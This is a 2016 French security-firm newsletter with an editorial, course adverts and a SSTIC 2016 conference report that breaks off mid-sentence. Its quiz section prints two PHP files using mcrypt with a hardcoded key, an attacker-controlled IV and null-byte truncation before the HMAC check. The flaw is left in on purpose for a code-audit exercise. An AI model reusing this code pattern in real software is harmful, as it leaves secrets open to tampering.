[Newsletter HSC] N°140 - juillet-aout 2016

Newsletter d'information de HSC newsletter at hsc-news.com
Mer 13 Juil 14:39:04 CEST 2016


========================================================================
              HSC Newsletter  --  N°140 --  juillet-août 2016
========================================================================





       « Vous pouvez tromper tout le monde un certain temps.
         Vous pouvez même tromper quelques personnes tout le temps.
	 Mais vous ne pouvez pas tromper tout le monde tout le temps. »


                                           [Abraham Lincoln]


--[ Sommaire ]----------------------------------------------------------

      1. Éditorial - Murailles
      2. Le saviez-vous ? La question
      3. Nouvelle formation certifiante "Privacy Lead Implementer" ou comment
         exercer la fonction de CIL et de DPO, #CNIL #GDPR
      4. Nouvelle formation "Se préparer au règlement européen sur la
         protection des données"
      5. Compte-rendu du SSTIC 2016
      6. Prochaines formations HSC
      7. Actualité des associations : Club 27001, OSSIR, Clusif et ISSA
      8. Le saviez-vous ? La réponse



--[ 1. Éditorial - Christophe Renard ]----------------------------------


 L'art des forteresses est entouré d'un imaginaire riche et visuel, source
 de la métaphore la plus utilisée du monde de la sécurité informatique.
 "Faites de votre système un château fort impénétrable"
 ou
 "Comme la muraille de Chine votre pare-feu n'arrêtera pas les attaquants"

 Souvent associé à une imagerie folklorique, le château est utilisé
 en démonstrateur de défense dépassée ou, au mieux, sert à illustrer la
 nécessité de la défense en profondeur.

 Pourtant, ce que ces paraboles trahissent surtout est l'ignorance par leurs
 auteurs de l'histoire et un sentiment de supériorité de l'homme moderne
 sur nos prédécesseurs supposés rustauds.

 Les châteaux, les forts, les murailles ont été édifiés par des gens qui
 comprenaient une leçon que nous oublions trop souvent : les murs ne servent
 pas à arrêter indéfiniment un ennemi décidé.

 Les murailles servent à contrôler le temps.

 Le défenseur n'a jamais les forces nécessaires à couvrir la totalité de son
 périmètre. Le mur, moyennant quelques sentinelles, permet de détecter
 l'assaut et de déployer ses forces au point où s'applique l'attaque.
 Il n'en existe pas de plus belle illustration que la muraille de Chine qui
 est un système de forts reliés par une formidable route fortifiée. La route
 n'arrêtait personne et certainement pas les cavaleries des nomades venues du
 nord. Mais elle permettait de déployer rapidement des troupes là ou elles
 devaient servir.

 Si cette explication semble nous éloigner de la sécurité de l'information,
 ce n'est qu'en apparence. À réfléchir sur des caricatures, nous oublions
 le plus important : la variable temps.

 Le plus petit château de par la simple existence de ses murailles
 dissuadait les attaquants les plus élémentaires. Si l'attaque était
 détectée, la défense devenait une course contre l'horloge : l'usure des
 assiégés contre celle des assiégeants. Course où la préparation et les
 alliances étaient souvent plus déterminantes que les effectifs en présence.

 Une équipe de DSI moderne est souvent proche d'un chevalier tenant son
 castellet avec une poignée d'hommes de troupes et de la milice : en
 permanence menacée par des pillards opportunistes, avec plus de systèmes à
 défendre qu'humainement possible et de temps en temps des assaillants en
 voulant à son trésor particulier.

 Sans surprises, les erreurs de nos prédécesseurs sont aussi de bon guides.
 Si il est une illustration d'échec de fortification qui puisse nous édifier,
 c'est la ligne Maginot. Celle-ci n'a pas été totalement inutile, forçant
 l'envahisseur à un coûteux détour.
 Mais elle illustre un échec souvent rencontré en entreprise.
 Pensée pour résister le temps de mobiliser les troupes, elle a itérativement
 évolué vers un concept de muraille infranchissable nécessitant
 l'investissement de tous les moyens de la nation. Cette concentration de
 ressources sur une unique défense est classique.

 Ce motif du projet, commençant avec des objectifs modérés, les perdant de
 vue, absorbant la totalité des ressources disponibles, est un classique de la
 sécurité informatique. Nombre de projets "Maginots" de SIEM géants, d'IAM
 sur-ambitieuses ou de WAF multi-application aboutissent à une sécurité exsangue
 concentrée sur un point et stratégiquement inefficace.

 Si on accepte les penseurs stratégiques antiques comme encore pertinents, il
 n'y a rien d'absurde à penser que les leçons de la poliorcétique puissent
 guider la défense informatique moderne :
  - construire des murs en les sachant faillibles,
  - allouer des ressources contrôlées à chaque mesure défense,
  - déployer des capteurs et sentinelles,
  - préparer la réponse sur incident,
  - savoir ses troupes limitées en nombre et concentrer ses forces,
  - optimiser l'usage de ses moyens pour frustrer l'attaquant des objectifs
    cruciaux,
  - préparer la mobilisation des équipes et l'escalade vers un support
    externe pour assurer la lutte dans la durée.

 De façon intemporelle les deux principales variables d'une défense efficace
 restent le temps et les hommes. À l'oublier, à investir dans des murs
 toujours plus hauts, on sera voué à l'échec.


--[ 2. Le saviez-vous ? La question ]------------------------------------

     En audit de code source, vous rencontrez les deux fichiers PHP
 suivants utilisant les fonctions mcrypt :

  encryptsecret.php
  <?php
  $key = "Good random key!";
  $secret = "le mot de passe très secret est : motdepasse";
  $sign = hash_hmac("sha256", $secret, $key);
  $size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
  $iv = mcrypt_create_iv($size);

  $crypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $secret, MCRYPT_MODE_CBC, $iv);

  echo '<a href="checksecret.php?secret='.urlencode(base64_encode($crypt)).
    '&iv='.urlencode(base64_encode($iv)).
    '&sign='.urlencode(base64_encode($sign)).'">';
  echo 'go do some stuff';
  echo '</a>'
  ?>


  checksecret.php
  <?php
  $key = "Good random key!";
  $crypt = base64_decode($_GET['secret']);
  $iv = base64_decode($_GET['iv']);
  $sign = base64_decode($_GET['sign']);

  $secret = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $crypt, MCRYPT_MODE_CBC, $iv);

  for($i=0;$i<strlen($secret);$i++)
    if($secret[$i] == "\x00")
    {
      $secret = substr($secret,0,$i);
      break;
    }

  if ($sign != hash_hmac("sha256", $secret, $key)) {
    die("Bad signature");
  }

  echo "got the secret, can do some stuff";
  ?>


  Savez-vous quelle vulnérabilité ce code contient ? Savez-vous l'exploiter ?

     Réponse au paragraphe 8.



--[ 3. Nouvelle formation certifiante "Privacy Lead Implementer" ou comment
       exercer la fonction de CIL/DPO ]

     Cette nouvelle formation est certifiante. Elle permet de tenter la
 certification LSTI "Privacy Lead Implementer". Elle permet aux CIL et
 aux futurs DPO de démontrer leurs connaissances et leurs compétences aux
 employeurs, ou auprès de leurs clients, grâce à une certification délivrée
 par un organisme de certification expérimenté et reconnu.

 L'objectif de la formation est d'apprendre tout ce qu'il faut savoir pour
 être CIL et pour devenir DPO, et réussir l'examen de certification. Le
 contenu inclut :
    Les normes juridiques
    Les jurisprudences
    Les recommandations de la CNIL
    Les éléments pratiques
      - Statut et missions du CIL
      - Statut et missions du DPO
      - Moyens du DPO
      - Sécurisation des données personnelles
      - Constitution du registre, rédaction du bilan annuel

     Cette formation comporte de nombreux exercices et cas pratiques.

 Public visé : CIL, Futurs DPO, Responsables « informatique et libertés » ou
 vie privée, Juristes, Directions et RSSI.

 Prochaine session à Paris du 24 au 28 octobre.

 Pour vous inscrire et pour tout renseignement, contactez notre service
 formation : formations at hsc.fr
     Lynda Benchikh : +33 141 409 704
     Emilie Bozzolo : +33 140 887 146



--[ 4. Nouvelle formation "Se préparer au règlement européen sur la protection
       des données" ]

     Le règlement européen sur la protection des données personnelles vient
 refondre le cadre juridique applicable en matière « informatique et
 libertés ». Il apporte de nombreuses évolutions par rapport au cadre actuel,
 en exigeant notamment une véritable gouvernance de la protection des données.

 Par conséquent, il importe d'anticiper dès à présent ses dispositions,
 d'autant que le délai de 2 ans laissé aux organismes pour se préparer, et qui
 amène à une application aux alentours du printemps 2018, est significatif de
 l'ampleur des tâches à mener.

 Vous allez apprendre :
   - Quelles sont les évolutions apportées par le règlement ?
   - Quelles sont leurs implications opérationnelles ?
   - Comment se préparer efficacement à l'application du règlement ?

 Public visé : CIL, Futurs DPO, Responsables « informatique et libertés » ou
 vie privée, Juristes, Directions et RSSI.

 Prochaine session à Paris le 31 octobre.

 Pour vous inscrire et pour tout renseignement, contactez notre service
 formation : formations at hsc.fr
     Lynda Benchikh : +33 141 409 704
     Emilie Bozzolo : +33 140 887 146



--[ 5. Compte-rendu du SSTIC 2016 ]-------------------------------------
       par Matthieu Schipman, Inès Ribeiro, Vincent Herbulot
       et Olivier Houssenbay

 Conférence d'ouverture : Brad Spengler (GRSecurity)

     Brad décrit les dernières mises à jour de grsecurity et PaX. Une mesure
 notoire est le RAP, disponible à partir du noyau 4.5, qui vise à empêcher
 les attaques par réutilisation de code. Puis il  expose sa vision de la
 sécurité. Pour lui, la course effrénée aux bogues (et au bug bounty) que nous
 connaissons actuellement est totalement improductive. Le partage d'information
 et les débats techniques sur les listes de diffusion ont laissé la place aux
 Tweets "pour le Buzz" et aux grands influenceurs complètement creux. Les
 conférences donnent selon lui l'illusion d'un transfert de connaissances, et
 il n'est pas rare d'assister à des présentations vides au titre ronflant.
 En résumé, il aimerait que plus de gens s'impliquent dans la "vraie" sécurité,
 qui ne consiste pas à boucher des trous indéfiniment, mais à chercher des
 solutions durables reduisant les possibilités d'exploitation.


 Démarche d'analyse collaborative de codes malveillants
 Adrien Chevalier (ANSSI), Stéfan Le Berre (Sogeti), Tristan Pourcelot (ANSSI)

 Une présentation de l'outil Polichombr, un outil d'analyse de code
 collaboratif. Les buts sont multiples : pouvoir récupérer le travail de
 retroingéniérie effectué par d'autres membres d'une équipe, être capable de
 classifier les binaires, de stocker des métadonnées sur ceux-ci et d'évaluer
 leurs similarités. Une fonction permettant de créer la signature de binaires a
 été développée spécifiquement pour pouvoir évaluer les similarités de deux
 binaires : Machoc. Les fonctions de condensats standards ne sont pas adaptées
 au but recherché (le changement d'un seul bit dans le binaire le fait
 percevoir comme différent en regardant uniquement le condensat, même si la
 logique applicative reste identique). L'algorithme Machoc se base lui sur le
 graphe de flot de contrôle de chaque fonction, qu'il transforme en texte.
 Il calcule  ensuite le condensat de ce texte à l'aide de murmurhash3. Chaque
 condensat  est concaténé pour donner le résultat final, la signature du
 programme. Il est ensuite possible d'évaluer les niveaux de similarité de
 deux programmes en comparant leurs condensats. Il est possible de pousser
 les métadonnées depuis IDA vers polichombr et vice-versa. L'outil est
 disponible en ligne : https://github.com/ANSSI-FR/polichombr


 Gunpack : un outil générique d'unpacking de malwares
 Julien Lenoir (Airbus)

 Gunpack est un outil d'aide au développement de scripts de dépaquetage en
 Python. L'outil s'appuie principalement sur deux composants : un module noyau
 chargé de gérer les fautes de pages (accès en écriture sur une page RX par
 exemple) et d'intercepter les appels systèmes aux fonctions
 NtAllocateVirtualMemory, NtProtectVirtualMemory et NtMapViewOfSection, ainsi
 qu'un script gunpack en espace utilisateur chargé de créer le processus, de
 collecter les informations et d'effectuer un post-traitement. Les éléments
 clés récupérés par les gestionnaires d'exception et l'interception des appels
 systèmes vont permettre de comprendre le fonctionnement du 'packer' afin de
 déterminer l'OEP et de reconstituer le binaire d'origine. L'outil est
 disponible en ligne : https://bitbucket.org/iwseclabs/gunpack.git


 Cryptanalyse en boite noire de chiffrement propriétaire : étude de cas
 Pierre Capillon (ANSSI)

 Cette présentation décrit la méthodologie et les problèmes rencontrés lors de
 la rétro-ingénierie en boite noire d'un système embarqué, sans avoir recours à
 des attaques physiques.
 La technique utilisée est basée sur l'analyse des variations entre des
 versions mineures du micro-code pour tenter d'identifier les structures
 présentant peu de modifications au fil des versions (entêtes par exemple). En
 combinant de multiples techniques, le fichier initial est finalement déchiffré
 et les vulnérabilités dans l'algorithme cryptographique "fait maison" du
 constructeur percées à jour.


 Eurisko : développement d'une carte électronique sécurisée
 Arnaud Ebalard, Arnaud Fontaine, David Diallo, Jean-Pierre Flori,
 Karim Khalfallah, Mathieu Renard, Ryad Benadjila (ANSSI)

     Les équipes de la division scientifique et technique de l'ANSSI ont
 démontré la faisabilité d'un projet de conception de carte électronique
 sécurisée à bas coût. La première partie de la conférence s'est focalisée sur
 l'étude de l'architecture interne de la carte et du choix des composants
 utilisés. Les conférenciers ont présenté les interconnexions du SoC [1] avec
 les composants dans sa périphérie. La deuxième partie a traité de la
 sécurisation proprement dite du SoC. L'équipe a présenté les mécanismes de
 protection mis en oeuvre dans la chaîne de démarrage sécurisée du SoC.
 L'amorçage sécurisé de la carte est orchestré par le composant ST33 [2]. Ce
 composant empêche le SoC de démarrer sa ROM d'amorçage. Lors de
 l'initialisation du démarrage, le ST33 effectue un contrôle d'intégrité de
 différents éléments. Un jeton d'authentification externe (par exemple carte à
 puce) peut être utilisé pour réaliser l'authentification pré-amorçage. Les
 équipes ont également développé une logique d'amorçage propre au composant
 sécurisé ST33, décomposée en trois étapes. Les différentes étapes permettent
 de s'assurer de l'intégrité du composant lui même et de monter un canal de
 communication (au travers d'un bus SPI [3]) sécurisé avec le SoC.
 Enfin, le ST33 peut embarquer des jetons de mise à jour qui peuvent servir à
 déployer des mises à jour signées. Les membres de l'équipe ont annoncé la
 publication prochaine d'une bibliothèque cryptographique, développée en
 interne, basée sur les courbes elliptiques. Celle-ci servira pour la
 sécurisation des échanges.

 [1] System on Chip : Peut correspondre à un PIC, un microcontrôleur ou
 microprocesseur
 [2] http://www.st.com/content/st_com/en/products/secure-mcus/st33-secure-sc300-mcus.html
 [3] Serial Peripheral Interface : interface de communication série synchrone


 Evolution et dé-évolution des systèmes multimédia embarqués
 François Pollet (Thales), Nicolas Massaviol (Toucan Systems)

     Cette conférence présente un état de l'art de la sécurité des systèmes
 embarqués du monde automobile. L'étude a été menée avec la collaboration de
 deux constructeurs (Jaune et Rouge). La phase initiale a débutée par une prise
 d'information et une reconnaissance matérielle en boîte grise (quand la
 documentation était en partie disponible) ou en boîte noire, car les
 constructeurs sont avant tout des assembleurs et ne disposent pas de toutes les
 informations. Dans le véhicule, chaque fonction (régime moteur, système de
 freinage, etc.) est assurée par un module ECU [1] communément appelé
 calculateur. L'ensemble de ces ECUs sont inter-connectés par des bus CAN qui
 assurent les échanges. L'objectif des travaux était d'obtenir une exécution de
 code afin de prendre le contrôle de diverses fonctions de l'auto (mettre le
 volume à fond lorsque la voiture roule à plus de 130 km/h) ou encore
 d'émettre directement sur le bus CAN [2] (générer un stimuli du capteur de
 collision pour activer le freinage d'urgence).  Des attaques d'un point
 vue logiciel ont été menées et ont permis de mettre à jour des vulnérabilités
 comme :
  - l'utilisation de systèmes d'exploitation obsolètes (Android 2.2 et 4.0) ;
  - l'accès à une console adb en root ;
  - l'accès à compte root Linux sans mot de passe ;
 Des scénarios d'attaque physique (interaction avec le matériel) ont également
 permis d'obtenir une console interactive par le biais des interfaces de
 débogage (connexion sur un port JTAG). Les constructeurs ont tendance à ajouter
 de plus en plus de fonctionnalités qui, par conséquent, augmentent la surface
 d'attaque des véhicules connectés notamment avec le PYOD [3] qui invite
 l'utilisateur à connecter son ordiphone à l'auto.

 [1] Electronic Control Unit
 [2] Controller Area Network : https://fr.wikipedia.org/wiki/Controller_Area_Network
 [3] Plug Your Own Device


 USB Toolkit
 Benoit Camredon (Airbus)

     Cette conférence présente la suite d'outils USBq(uitous), qui permet de
 faire de l'interception USB entre un périphérique et la machine hôte. elle
 permet également d'agir en tant que périphérique USB auprès d'un hôte ou comme
 hôte auprès d'un périphérique pour tester la pile USB. USBq se compose d'un
 ordinateur monocarte sur lequel est déployé un Linux contenant le module
 noyau 'USBq Core', qui sait émuler un périphérique ou un hôte. En mode
 utilisateur, l'USBq API intéragit avec le module noyau en UDP. Des USBq APP
 sont alors développées en espace utilisateur et utilisent l'USBq API pour
 intéragir avec les périphériques USB, par exemple en modifiant le trafic de
 l'hôte vers le périphérique avant de le relayer (proxy) ou en simulant un
 clavier (rubber ducky).

 https://bitbucket.org/ben64/usbq_core
 https://bitbucket.org/ben64/usbq_userland


 Confusion de type en C++
 Florent Saudel (Amossys)

     La présentation porte sur les failles de confusion de type aussi appelées
 "bad cast". La vulnérabilité apparaît lors du transtypage de variables dans
 les langages orientés objet et peut engendrer l'exécution arbitraire de
 code. L'exploitation se fait en trouvant une classe n'ayant pas les
 mêmes propriétés que la classe réellement attendue, mais héritant de la classe
 mère. La démonstration est faite sur du code C++ : l'attaquant parvient, en
 utilisant un objet différent de celui attendu à écraser la vtable de l'objet
 initial et ainsi, rediriger le flux d'exécution.


 Composants logiciels vérifiés en F* : Poly1305
 Benjamin Beurdouche, Jean Karim Zinzindohoué (INRIA)

     F* (prononcé F star) est un langage de programmation fonctionnelle très
 fortement typé. L'objectif du langage est de pouvoir faire des tests
 exhaustifs sur des composants logiciels considérés critiques afin d'éviter les
 vulnérabilités. Son utilisation garantit notamment la correction fonctionnelle
 du code, la sûreté mémoire et la prévention des dépassements d'entiers. En
 pratique, une transformation vers OCaml/F# est nécessaire, car F* ne compile
 pas directement. Pendant la présentation, un cas concret sur l'implémentation
 du langage avec l'algorithme (de type MAC [1]) Poly1305 a été traité. La mise
 en oeuvre de Poly1305 combine entre autres l'arithmétique modulaire et la
 redéfinition de classe de valeur (sint,uint). Le langage offre la possibilité
 d'introduire des spécificités mathématiques associées aux objets et permet,
 par exemple, de se protéger contre des vulnérabilités de type dépassement de
 tableau. En résumé, F* est un langage permettant de définir des types
 abstraits et qui, par la suite, permet de maîtriser le traitement effectué
 sur ces types en définissant des conditions accessibles par le langage.
 Le projet est publié sur GitHub [2] et pour aller plus loin une documentation
 est également en ligne [3].

 [1] Message Authentication Code
 [2] https://github.com/FStarLang/FStar
 [3] https://www.fstar-lang.org/papers/mumon/


 Un FizzBuzz pour le cyber
 Eric Jaeger, Olivier Levillain (ANSSI)

     Dans cette présentation, l'ANSSI nous expose certaines de ses méthodes
 d'entretien utilisées pour déterminer l'éligibilité aux formations du CFSSI
 (Centre de Formation à la SSI).
 Le candidat prépare le questionnaire au préalable, puis répond aux différentes
 questions lors de l'entretien. Les questions posées visent à déclencher une
 discussion, dont le but est principalement d'évaluer la façon de penser du
 candidat et sa compréhension de différentes notions importantes liées plus ou
 moins directement à la sécurité.
 Ne pas savoir répondre aux questions n'est pas rédhibitoire. En revanche, les
 connaissances du candidat doivent être en adéquation avec ses expériences
 passées. Par exemple, avoir implémenté une PKI sans avoir une bonne
 compréhension des certificats n'est pas envisageable.


 A first glance at the U2F protocol
 Florian Maury, Mickaël Bergem (ANSSI)

     Le protocole U2F est une solution d'authentification à deux facteurs,
 basée sur un 'token', avec un format classique de clefs publiques mais chaque
 paire de clefs est propre à un site unique (protocole/nom/port). Cela empêche
 l'hameçonnage par imitation de site. De plus, U2F peut se coupler avec
 l'extension TLS CHannel ID. Cette extension permet de négocier à la première
 connexion un identifiant de canal unique qui est réutilisé les fois suivantes
 et permet de détecter une attaque du singe intercepteur. Si le token U2F
 affiche un canal différent de celui vu par le serveur ou affirme pouvoir
 utiliser TLS channel ID, alors que le "client" indique ne pas la supporter,
 cela indique une  tentative d'attaque du singe intercepteur.
 Un des problèmes d'U2F est que l'utilisateur n'est pas toujours en mesure de
 savoir quelle transaction il valide par U2F si plusieurs actions U2F ont lieu
 simultanément.


 How to not break LTE crypto
 Benoit Michau, Christophe Devine (ANSSI)

     Présentation qui s'intéresse aux différentes implémentations de LTE dans
 les principaux modems du marché.
    La sécurisation des échanges LTE (Long Term Evolution) hérite en partie des
 mesures développées pour l'UMTS (Universal Mobile Telecommunications System),
 auxquelles ont été ajoutés différentes mesures (support d'AES, chiffrement de
 bout en bout entre le terminal et le MME (Mobility Management Entity), etc.).
 Cependant, certaines mesures de sécurité peuvent être contournées par un
 attaquant utilisant une fausse station LTE, ce qui aboutit à des fuites
 d'information ou des dénis de service.
 Le point important est que ces vulnérabilités ne viennent pas du standard mais
 sont le fait des constructeurs qui n'implémentent pas correctement (voire pas
 du tout) les mesures de sécurité proposées. A l'avenir, il faut espérer plus
 de transparence de la part des opérateurs, la mise en place de mesures
 empêchant les attaques par stations illégitimes et l'instauration systématique
 du Perfect Forward Secrecy.


 Méthodologie d'extraction de signatures issues des signaux AIS
 Erwan Alincourt, Pierre-Michel Ricordel (Ecole Navale/ANSSI)

     L'AIS (Auto Identification System), grâce à des balises transmettant
 régulièrement la position des navires, vise à éviter les collisions. Ce
 protocole ne comporte aucune fontionnalité de sécurité : la véracité des
 informations est entièrement basée sur la bonne foi du batiment émetteur.
 Cette étude a pour but la détection de signaux AIS contrefaits. En se basant
 sur les caractéritiques analogiques des signaux reçus (ratio puissance vs
 distance, amplitude, temps avant et après modulation, etc.), l'équipe a montré
 qu'il était possible avec un bon niveau de confiance de détecter les anomalies
 ou les attaques, ce qui laisse présager d'intéressantes applications pour
 l'avenir.


 Comparaisons et attaques sur le protocole HTTP2
 Georges Bossert (InThreat)

     Après quelques rappels sur les spécificités d'HTTP/2, Georges décrit
 l'utilisation de l'outil pylstar (adapté de lstar) pour réaliser l'automate
 de différents serveurs en interagissant avec, afin pouvoir comparer leur
 implémentation de HTTP/2. On peut ensuite utiliser ces automates pour
 créer du fuzzing intelligent ou utiliser les spécifités d'implémentation
 pour reconnaître un serveur (fingerprint).

 https://github.com/gbossert/http2_compare
 https://github.com/gbossert/pylstar


 Conférence invitée
 Olivier Thomas (CEA-LETI)

     Les attaques contre les circuits intégrés se divisent en trois grandes
 catégories:
   - les attaques non invasives, où le composant reste intègre, donnent des
     résultats relativement aléatoires et sont difficiles à exploiter ;
   - les attaques semi-invasives consistent par exemple à provoquer des fautes
     grâce à un laser, pour tenter d'en exploiter le résultat. Une exploitation
     efficace possible sur certaines puces est par exemple d'activer mode
     débogage afin de gagner l'accès au données protégées ;
   - les attaques invasives reposent quant à elles sur une déconstruction du
     composant par ponçage et prise de clichés avec différentes technologies
     afin de gagner un maximum d'informations sur ses structures internes
     (circuit, contenus des ROM, etc.) et contourner les mesures de sécurité
     en place.
 Ces dernières sont de loin les plus efficaces. Elles nécessitent du matériel
 couteux (2M euros), mais il est probable, selon l'ampleur des profits espérés,
 qu'elles soient néanmoins à la portée d'attaquants suffisamment motivés.


 App vs Wild : Protection d'application en environnement hostile
 Stéphane Duverger (Airbus)

     Plusieurs solutions existent pour protéger les applications d'elles-même
 contre des attaques sur de potientielles vulnérabilités. Cependant, qu'en
 est-il des protections contre les attaques menées sur l'environnement
 d'exécution de ces applications ? C'est la problématique à laquelle Stéphane
 Duverger a tenté de répondre. L'objectif est de protéger l'intégrité et la
 confidentialité du code applicatif s'exécutant en espace noyau (ring 0) en
 partant du postulat que celui-ci est corrompu. La solution proposée s'appuie
 sur l'utilisation de la virtualisation matérielle avec un contrôle fin du
 microprocesseur et de la mémoire vive. Le socle du projet repose sur Ramooflax
 (outil libre présenté au SSTIC 2011 [1]) qui est un micro hyperviseur
 à VM unique. Le principe consiste à proposer à l'hôte plusieurs vues de la
 mémoire physique, appelées origine et secret. La zone origine contiendra le
 système d'exploitation tandis que l'environnment mémoire secret contiendra les
 pages déchiffrées à la volée des applications à protéger. L'implémentation se
 décompose en plusieurs étapes. La première consiste à 'préparer' l'application
 à protéger. Un pré-chargeur est injecté dans le binaire et l'ensemble des
 sections de code sont chiffrées et signées (la clef utilisée est générée en
 espace utilisateur) tout en préservant le code source originel. La seconde
 étape est l'initialisation de l'application secrète. Tout d'abord, le processus
 s'exécute dans la zone mémoire origine (non protégée) avec des pages mémoire
 chiffrées. C'est au moment du chargement du pré-chargeur injecté que
 l'hyperviseur va passer l'application à protéger dans l'environnement mémoire
 secret. Pour réaliser cette transition, l'hyperviseur intercepte des événements
 #VMEXIT générés par le binaire, pour détecter l'application secrète. Les
 sections de code sont regroupées sous forme de pages mémoire et l'hyperviseur
 va s'occuper de mapper les accès dans la zone mémoire secrète de ces sections.
 Enfin, une fois la validation du HMAC et le déchiffrement terminé par
 l'hyperviseur, la page mémoire est marquée en eXecute-only au sein de
 l'environnement secret. Pour finir, cette solution ne permet pas de protéger
 les données manipulées par le noyau et des attaques physiques, mais uniquement
 de conserver la confidentialité et l'intégrité du code applicatif.

 [1] https://www.sstic.org/2011/presentation/virtualisation_dun_poste_physique_depuis_le_boot/


 Winbagility : Débogage furtif et introspection de machine virtuelle
 Nicolas Couffin (DGA)

     L'outil Winbagility permet de faire du débogage furtif sous Windows, sans
 utiliser le mode /DEBUG ni interrompre Patchguard.
 L'outil utilise une version modifiee de VirtualBox qui fait tourner le système
 étudié et l'API Fast Debugging Protocol FDP developpée pour l'occasion,
 ainsi que WinDbg. L'utilisation des Breakpoints classiques étant impossible
 sans mode /DEBUG, plusieurs nouveaux types de breakpoints ont été créés.
 Le PageHyperBreakpoint altère les droits RWX sur la page physique au niveau
 de l'hôte, ce qui provoque une exception lors de la traduction de l'adresse
 physique invitée vers l'adresse physique de l'hôte et sera interceptée au
 niveau de l'hyperviseur. Les SoftHyperBreakpoints utilisent la
 désynchronisation entre la table des données et la tables des instructions
 dans le TLB. La même page est copiée deux fois. Celle pointée par la TLB
 d'instructions pourra être modifiée avec HLT pour faire un point d'arrêt.
 La même page sans modification sera pointée par la table de données TLB,
 les outils de vérification d'intégrité ne seront donc pas en mesure de
 détecter l'altération du code. Enfin les HardHyperBreakpoints utilisent le
 même mécanisme que les Hard breakpoints classiques mais font remonter
 l'erreur à l'hyperviseur.

 http://winbagility.github.io/


 Déverrouillage d'Android en simulant un clavier/souris
 Antoine Cervoise (NTT Com Security)

     Cette conférence propose d'utiliser le support des claviers/souris sur les
 versions récentes d'Android pour simuler le test d'un schéma ou d'un
 code PIN à la souris, ou d'un mot de passe au clavier. L'auteur a créé un
 outil permettant de coder simplement les attaques et de traiter les cas
 particuliers comme le verrouillage 30s après plusieurs essais. Il faut
 également être en mesure de détecter la réussite de l'attaque pour que
 le périphérique émulé ne réalise pas d'actions non voulues sur le
 téléphone, par exemple via une webcam par comparaison d'images.

 https://github.com/cervoise/Hardware-Bruteforce-Framework-2


 The Metabrik Platform: Rapid Development of Reusable Security Tools
 Patrice Auffret

     Metabrik est un cadre de développement d'outils développé en Perl.
 Il est modulaire et à pour objectif la réusabilité du code. Plusieurs
 démonstrations sont réalisées, notamment, le boot d'une VM, l'extraction et la
 conversion de sa RAM, et l'affichage de ces processus via le module pslist
 de volatility. L'appel des différents modules ce fait via une invite de
 commande "à la metasploit".

 https://www.metabrik.org/downloads/


 DYODE : Do Your Own DiodE, Une diode open source à moins de 200euros
 pour réseaux industriels, Arnaud Souille, Ary Kokos (Solucom)

     DYODE est un équipement réseau conçu pour renforcer la sécurité des réseaux
 industriels. La solution a été développée afin d'offrir aux petites structures
 de la sécurité à bas coût. Basé sur des travaux existant, le projet DYODE
 remplit la fonction de passerelle réseau unidirectionnelle (qui reprend les
 propriété physique d'une diode éléctrique, c'est-à-dire, qui n'autorise
 la circulation du flux que dans un seul sens) qui permet de réaliser une
 interconnexion vers un système d'information non maitrisé. La plateforme assure
 trois fonctions développée autour du langage Python :
   - transfert de fichier plat en utilisant l'outil UDPCast ;
   - transfert de données avec le protocle Modbus ;
   - partage d'écran pour les opérations de maintenance (script Windows
     PowerShell qui effectue des captures d'écrans).
 Au niveau physique le prototype est composé d'un rack, de trois convertisseurs
 et deux cartes Raspberry Pi pour la gestion du flux entrant et sortant. Le
 code source du projet (comprenant ~500 lignes utiles) est disponible sur
 GitHub [1].

 [1] https://github.com/arnaudsoullie/dyode


 MacOS : System Integrity Protection
 Nicolas Ruff (Google)

     System Integrity Proctection (SIP) est un mécanisme sous MacOS qui permet
 de diminuer les privilèges accordés à l'utilisateur root. Au cours de la
 présentation, Nicolas Ruff a présenté les différentes possibilités de
 restrictions pouvant être mises en place par SIP et les vérifications qu'il
 effectue.
 L'objectif est de protéger l'intégrité du système MacOS. Parmi les
 restrictions possibles pour l'utilisateur root il y a notamment le bloquage :
  - de l'écriture des répertoires système ;
  - du chargement d'extensions noyau non signées par Apple ;
  - de l'analyse avec DTrace.
 SIP permet d'attacher les permissions aux applications (signées par Apple) et
 non aux utilisateurs. Bien que les fonctionnalités proposées soient robustes,
 il existe tout de même une faiblesse (connue) dans l'implementation de SIP.
 Celle-ci réside dans la vérification de signature qui est effectuée dans
 l'espace utilisateur (userland) et qui peut potentiellement être coutournée.


 Java Card security, Software and Combined attacks
 Jean Dubreuil (Serma Technologies)

     Java Card permet à des applications Java de fonctionner de façon sécurisée
 sur des cartes à puce. La sécurité est basée essentiellement sur le BCV (Byte
 Code Verifier), composant externe qui vérifie le code avant chargement dans la
 JCVM (Java Card Virtual Machine).
 Cette présentation montre que le BCV n'est pas suffisant et que même une
 application validée peut être exploitée de différentes manières : des attaques
 applicatives possibles à cause d'implémentations incorrectes de la JCVM, et
 des attaques dites "combinées", qui allient l'injection de fautes et
 l'exploitation logicielle.


 Fuzzing and Overflows in Java Card Smart Cards
 Guillaume Bouffard, Julien Lancia (Serma technologies)

 Guillaume Bouffard expose une autre technique d'exploitation de Java Card, en
 montrant les impacts possibles d'une vérification manquante au niveau du BCV.
 Grâce à une technique de fuzzing basée sur les algorithmes génétiques, les
 présentateurs ont trouvé une vérification défectueuse dans le BCV, qui leur a
 finalement permis procéder à une injection de code et de prendre contrôle de
 l'ensemble de la mémoire de la carte. Un point intéressant est que la plupart
 des JCVM étudiées n'offrent pas de protection contre cette attaque.
 La nouvelle version du BCV publiée par Oracle suite à cette étude corrige
 cette vulnérabilité.



 Noyaux Linux durcis
 Yves-Alexis Perez (ANSSI)


     Le noyau étant le coeur du système d'exploitation, il est indispensable que
 celui-ci puisse se protéger lui-même et en particulier des attaques depuis
 l'espace utilisateur. L'état de l'art sur la sécurité du noyau Linux est la
 rustine grsecurity qui apporte des fonctionnalités de protection permettant
 d'avoir un noyau Linux durci et d'éviter des vulnérabilités. Cependant, malgré
 les améliorations considérables apportées par grsec (réduction de la surface
 d'exposition) son utilisation n'est pas suffisament démocratisée. Plusieurs
 raisons expliquent ce constat :
  - la rustine n'est pas intégrée nativement dans les noyaux des diverses
    distributions, ce qui implique un investissement de l'administrateur pour
    l'installer ;
  - grsec impose parfois des restrictions trop fortes et nécessite donc une
    configuration supplémentaire par rapport au besoin de l'utilisateur (ex:
    autorisation d'accès mémoire en RWX pour les applications JIT [1]
    comme les navigateurs, la machine virtuelle Java,etc.).
 Pour rendre accessible grsec à tous, Yves-Alexis Perez (développeur Debian)
